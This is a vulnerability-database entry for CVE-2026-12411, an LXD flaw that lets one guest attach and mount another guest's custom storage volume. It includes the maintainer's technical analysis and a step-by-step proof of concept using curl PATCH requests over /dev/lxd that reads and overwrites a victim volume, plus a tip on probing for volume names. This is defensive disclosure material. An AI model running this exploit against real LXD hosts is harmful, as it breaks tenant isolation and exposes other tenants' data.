---
id: "CVE-2026-12411"
kind: "vulnerability"
aliases: ["CVE-2026-12411", "GHSA-hhf9-qw4v-72xp"]
title: "lxd allows Cross-guest volume hijack via DevLXD device patch"
severity: "critical"
cvss: 9.6
epss: 0.00288
exploited: false
status: "open"
category: "infrastructure"
products: [{"name": "github.com/canonical/lxd", "fixed": ["0.0.0-20260626085133-7cb96ac80a6d"], "affected": ">= 0.0.0-20250721152936-fe86ceb2c3fa, < 0.0.0-20260626085133-7cb96ac80a6d", "ecosystem": "go"}, {"name": "canonical lxd", "fixed": ["6.9"], "affected": ">= 6.6, < 6.9", "ecosystem": "vendor"}]
ecosystems: ["go", "vendor"]
tags: ["cwe-639", "cwe-862", "infrastructure", "linux-containers", "lxd", "self-hosted"]
not_affected_if: ["default-config", "devlxd-volume-management-disabled", "single-tenant"]
published_at: "2026-06-26T16:16:30+00:00"
first_seen_at: "2026-11-05T17:44:00+00:00"
updated_at: "2026-11-05T18:09:59+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-hhf9-qw4v-72xp", "first_seen_at": "2026-11-05T17:44:00+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12411", "first_seen_at": "2026-11-05T18:09:59+00:00"}]
exploit_sources: [{"type": "epss", "score": 0.00288, "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-12411"}]
---

# lxd allows Cross-guest volume hijack via DevLXD device patch

LXD's DevLXD device-update path lets one guest attach a custom storage volume owned by another guest in the same project by naming it in a disk device PATCH. The attacker then reads and overwrites that tenant's volume data.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- go:github.com/canonical/lxd affected >= 0.0.0-20250721152936-fe86ceb2c3fa, < 0.0.0-20260626085133-7cb96ac80a6d fixed 0.0.0-20260626085133-7cb96ac80a6d
- vendor:canonical lxd affected >= 6.6, < 6.9 fixed 6.9

## How to check

- Run `lxc --version` on the LXD host and compare against the fixed Go module pseudo-version `0.0.0-20260626085133-7cb96ac80a6d`.
- Check whether any project sets `security.devlxd.management.volumes` to `true`, for example with `lxc config show` on the project or instance.
- Confirm whether untrusted guests share a project that has custom storage volumes.

## Fix

- Upgrade LXD to a build at or after the Go module pseudo-version `0.0.0-20260626085133-7cb96ac80a6d` (the fixed version listed in the advisory data).

## Timeline

- 2026-11-05T17:44:00+00:00 ghsa https://github.com/advisories/GHSA-hhf9-qw4v-72xp
- 2026-11-05T18:09:59+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-12411

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/canonical/lxd/security-advisories/GHSA-hhf9-qw4v-72xp
- [advisory] Maintainer's advisory: github.com https://github.com/canonical/lxd/security/advisories/GHSA-hhf9-qw4v-72xp
- [fix] Patch: github.com https://github.com/canonical/lxd/pull/18585
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/752e25cfb849a349ff08939ce02747ef4d4e69cc

## From the sources

### Summary

A guest can mount another guest's custom storage volume over `/dev/lxd` and read or write its contents without owning it. The DevLXD storage API blocks access to volumes you don't own, but the instance device-update path that attaches a volume to a container without checks ownership. Any guest in a project with `security.devlxd.management.volumes` enabled can attach a volume belonging to a different guest by naming it in a device `PATCH`, giving one tenant full read and write access to another tenant's volume data.

### Details

Volumes created over DevLXD get `volatile.devlxd.owner` set to the calling identity. The storage handlers enforce it on `GET`/`PUT`/`DELETE` ([`isDevLXDVolumeOwner`, lxd/devlxd_storage.go:359](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_storage.go#L359)) and on volume-copy sources ([devlxd_storage.go:286](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_storage.go#L286)). The device-attach path does not.

`devLXDInstancePatchHandler` ([lxd/devlxd_instances.go:88](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_instances.go#L88)) passes the guest's device map to `generateDevLXDInstanceDevices` ([devlxd_instances.go:178](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_instances.go#L178)). For a device that isn't already on the instance, the only check is `isDeviceAccessible(device)`:

```go
if (exists && !isOwned) || (!isDeviceAccessible(device)) 
```

`exists` is false for a newly added device, so `isDeviceAccessible` is the whole gate. It resolves to `newDevLXDDeviceAccessValidator` ([devlxd_instances.go:250](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_instances.go#L250)), which is `diskDeviceAllowed && filters.IsCustomVolumeDisk(device)`. `IsCustomVolumeDisk` ([lxd/device/filters/disk.go:28](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/device/filters/disk.go#L28)) checks the device shape only: `type=disk`, non-empty `source`, non-empty `pool`. It never loads the `(pool, source)` volume or compares its owner to the caller.

The handler then sets `volatile.<dev>.devlxd.owner` to the caller and issues an in-process `PATCH` to `instancePatch` ([lxd/instance_patch.go:55](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/instance_patch.go#L55)). That call skips the HTTP access handler and runs only project quota checks (`limits.AllowInstanceUpdate`, [instance_patch.go:215](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/instance_patch.go#L215)) before `c.Update`. The disk device's `validateConfig` confirms the volume exists but does no ownership or RBAC check. A guest can therefore point a new disk device at any custom volume in its project and LXD mounts it. The recorded device owner becomes the attacker while the volume's `volatile.devlxd.owner` still names the victim.

### PoC

Built from source at HEAD `d29ece6284` (reports as `6.8`, API extension `devlxd_volume_management`); single host, `dir` pool, default project.

Host setup, two guests with separate DevLXD identities, each scoped to edit only its own instance:

```bash
lxc launch images:alpine/edge guesta -c security.devlxd=true -c security.devlxd.management.volumes=true
lxc launch images:alpine/edge guestb -c security.devlxd=true -c security.devlxd.management.volumes=true
lxc exec guesta -- apk add --no-cache curl ; lxc exec guestb -- apk add --no-cache curl

for g in a b; do
  lxc auth identity create devlxd/id$g
  lxc auth group create g$g
  lxc auth group permission add g$g project default can_view
  lxc auth group permission add g$g project default can_view_storage_volumes
  lxc auth group permission add g$g project default can_create_storage_volumes
  lxc auth group permission add g$g instance guest$g can_view project=default
  lxc auth group permission add g$g instance guest$g can_edit project=default
  lxc auth identity group add devlxd/id$g g$g
done
TOKEN_A=$(lxc auth identity token issue devlxd/ida --quiet)
TOKEN_B=$(lxc auth identity token issue devlxd/idb --quiet)
```

With `devlxd` defined as `lxc exec <c> -- curl --unix-socket /dev/lxd/sock -H "Authorization: Bearer <tok>" ...`:

```bash
devlxd guesta $TOKEN_A POST /1.0/storage-pools/default/volumes/custom '{"name":"vola","type":"custom","config":{}}'
devlxd guesta $TOKEN_A PATCH /1.0/instances/guesta '{"devices":{"mine":{"type":"disk","pool":"default","source":"vola","path":"/mnt/mine"}}}'
lxc exec guesta -- sh -c 'echo TOP-SECRET-OWNED-BY-A > /mnt/mine/secret.txt'
devlxd guesta $TOKEN_A PATCH /1.0/instances/guesta '{"devices":{"mine":null}}'

devlxd guestb $TOKEN_B GET /1.0/storage-pools/default/volumes/custom/vola     # HTTP 404

devlxd guestb $TOKEN_B PATCH /1.0/instances/guestb '{"devices":{"stolen":{"type":"disk","pool":"default","source":"vola","path":"/mnt/stolen"}}}'   # HTTP 200

lxc exec guestb -- cat /mnt/stolen/secret.txt                       
lxc exec guestb -- sh -c 'echo PWNED-BY-B > /mnt/stolen/b_was_here.txt'
```

`lxc storage volume get default vola volatile.devlxd.owner` returns guesta's identity; `lxc config device get guestb stolen source` returns `vola`.

### Impact

Broken access control across tenants. It affects operators running untrusted guests in a shared LXD project with `security.devlxd.management.volumes` enabled. Any such guest can read and overwrite every custom volume owned by the other guests in that project. The attacker needs only a normal DevLXD identity scoped to its own instance, and the victim does nothing. Volume names that aren't already known can be recovered by probing, since an attachable volume returns `200` and a missing one returns a not-found error.

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
